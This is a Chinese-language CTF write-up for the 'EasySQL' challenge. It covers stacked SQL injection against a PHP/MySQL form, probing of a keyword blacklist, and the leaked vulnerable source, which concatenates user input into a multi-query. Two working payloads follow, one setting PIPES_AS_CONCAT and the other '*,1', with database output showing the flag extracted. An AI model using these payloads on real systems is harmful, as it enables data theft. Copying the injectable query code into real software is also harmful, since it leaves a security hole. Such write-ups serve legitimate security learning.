EasySQL

1、堆叠注入
2、set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符
3、没有过滤*的时候可以直接注入*

测试过滤词

被过滤的词有:

1	union prepare && or sleep if from...

可用的词:

1	select set database mid ascii \|\| , ^ ( ) # show ping 12; benchmark ...

输入1’没什么反应，输入1返回1，猜测是堆叠注入，输入1;select 123;返回Array ( [0] => 1 ) Array ( [0] => 123 ) ，嗯~，输入1;select benchmark(50000000,7^5^8);存在延迟。后续测试发现有长度限制，为40。

1;select database();
Array ( [0] => 1 ) Array ( [0] => ctf ) 

1;use ctf;show tables;
Array ( [0] => 1 ) Array ( [0] => Flag ) 

1;use ctf;describe Flag;
nonono

1;use ctf;describe(select(0x466c6167)); --> length=39

发现不了新姿势了，搜搜wp吧。。

我见过最短的payload:

*,0

太amazing了~~

原来比赛中是有源码泄露的，源码:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

解法1

1	1;set sql_mode=PIPES_AS_CONCAT;select 1

设置sql_mode为PIPES_AS_CONCAT后可改变’||'的含义为连接字符串。

在oracle 缺省支持通过 ‘ || ’ 来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式：pipes_as_concat 来实现oracle 的一些功能

改变语义后就是将前一个字段的查询结果和后一个字段查询结果进行拼接（类似于字符串的拼接函数Concat）。这样两个字段都会被查询

相当于执行: select 1||flag from Flag

在本地环境测试测试

||作为逻辑或时:

MariaDB [test]> select @@sql_mode;
+-------------------------------------------------------------------------------------------+
| @@sql_mode                                                                                |
+-------------------------------------------------------------------------------------------+
| STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION |
+-------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [test]> SELECT 1 || -1 || 0,1 || "flagasdasd" ,1 || 2,1 || NULL, 0 || NULL, NULL || NULL;
+--------------+-------------------+--------+-----------+-----------+--------------+
| 1 || -1 || 0 | 1 || "flagasdasd" | 1 || 2 | 1 || NULL | 0 || NULL | NULL || NULL |
+--------------+-------------------+--------+-----------+-----------+--------------+
|            1 |                 1 |      1 |         1 |      NULL |         NULL |
+--------------+-------------------+--------+-----------+-----------+--------------+

1 row in set (0.001 sec)
MariaDB [test]> select flag from flag;
+----------------------------------------+
| flag                                   |
+----------------------------------------+
| D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} |
+----------------------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.000 sec)

MariaDB [test]> select 1||flag from flag; 		# 1 || flag 相当于把flag的结果与数字1做或判断，数字||字符串 的结果为1。 相当于 1 or "xxxx" 
+---------+
| 1||flag |
+---------+
|       1 |
+---------+
1 row in set (0.002 sec)

||作为连接词时:

MariaDB [test]> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.002 sec)

MariaDB [test]> select @@sql_mode;
+-----------------+
| @@sql_mode      |
+-----------------+
| PIPES_AS_CONCAT |
+-----------------+
1 row in set (0.000 sec)

MariaDB [test]> select 0||flag from flag;
+-----------------------------------------+
| 0||flag                                 |
+-----------------------------------------+
| 0D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} |
+-----------------------------------------+
1 row in set (0.001 sec)

解法2

payload：*,1

原sql语句变为
select *,1||flag from Flag

MariaDB [test]> select @@sql_mode;
+-------------------------------------------------------------------------------------------+
| @@sql_mode                                                                                |
+-------------------------------------------------------------------------------------------+
| STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION |
+-------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select *,1||flag from flag;
+----------------------------------------+---------+
| flag                                   | 1||flag |
+----------------------------------------+---------+
| D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} |       1 |
+----------------------------------------+---------+
1 row in set (0.000 sec)